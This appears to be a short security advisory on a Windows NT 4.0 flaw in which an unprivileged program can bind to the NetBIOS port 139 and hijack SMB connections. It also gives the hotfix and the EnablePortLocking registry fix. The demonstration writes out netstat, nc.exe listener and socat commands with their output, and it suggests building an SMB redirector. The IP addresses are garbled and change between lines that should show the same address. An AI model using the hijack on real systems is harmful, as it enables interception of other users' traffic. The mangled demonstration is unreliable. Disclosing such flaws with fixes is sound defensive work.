Follows a demonstration of multiple bindings on a Windows NT 4.0 SP6a system. As NetBIOS over TCP/IP is active on the system, TCP Port 139 is opened by the NetBT driver and bound to IP address 22.214.171.124:
C:\>netstat -an | find "139" TCP 126.96.36.199:139 0.0.0.0:0 LISTENING
Then, a nc.exe process is bound to the same port and same IP address:
C:\>nc -l -p 139 -s 188.8.131.52 C:\>netstat -an | find "139" TCP 184.108.40.206:139 0.0.0.0:0 LISTENING TCP 220.127.116.11:139 0.0.0.0:0 LISTENING
The next TCP connection will be routed to the nc.exe process, hijacking the SMB server.
Using socat  to establish a TCP connection to port 139 of IP address 18.104.22.168, the blah string is sent:
jbm@garbarek ~> socat - tcp4:22.214.171.124:139 blahThe blah string is received by the nc.exe process.
C:\>nc -l -p 139 -s 126.96.36.199 blah C:\>
An interesting way to exploit this vulnerability would be to setup an SMB redirector, that would redirect all SMB trafic to another machine .
When Microsoft introduced the SO_EXCLUSIVEADDRUSE socket option in Windows NT 4.0 Service Pack 4, it did not fixed that problem because the NetBT driver was not modified to set the ShareAccess parameter of ZwCreateFile() functions calls to 0.
A fix for the NetBT driver was finally introduced in the C2 Update Post-SP6a hotfix, because one TCSEC C2 requirement mandates that an unprivileged user-mode program should not be able to listen to ports used by Windows NT services .
This fix is also available in the Windows NT 4.0 Security Rollup Package. To enable it, the following registry value must be configured:
Key: HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters Value: EnablePortLocking (REG_DWORD) Content: 0 to disable protection (default), 1 to enable protection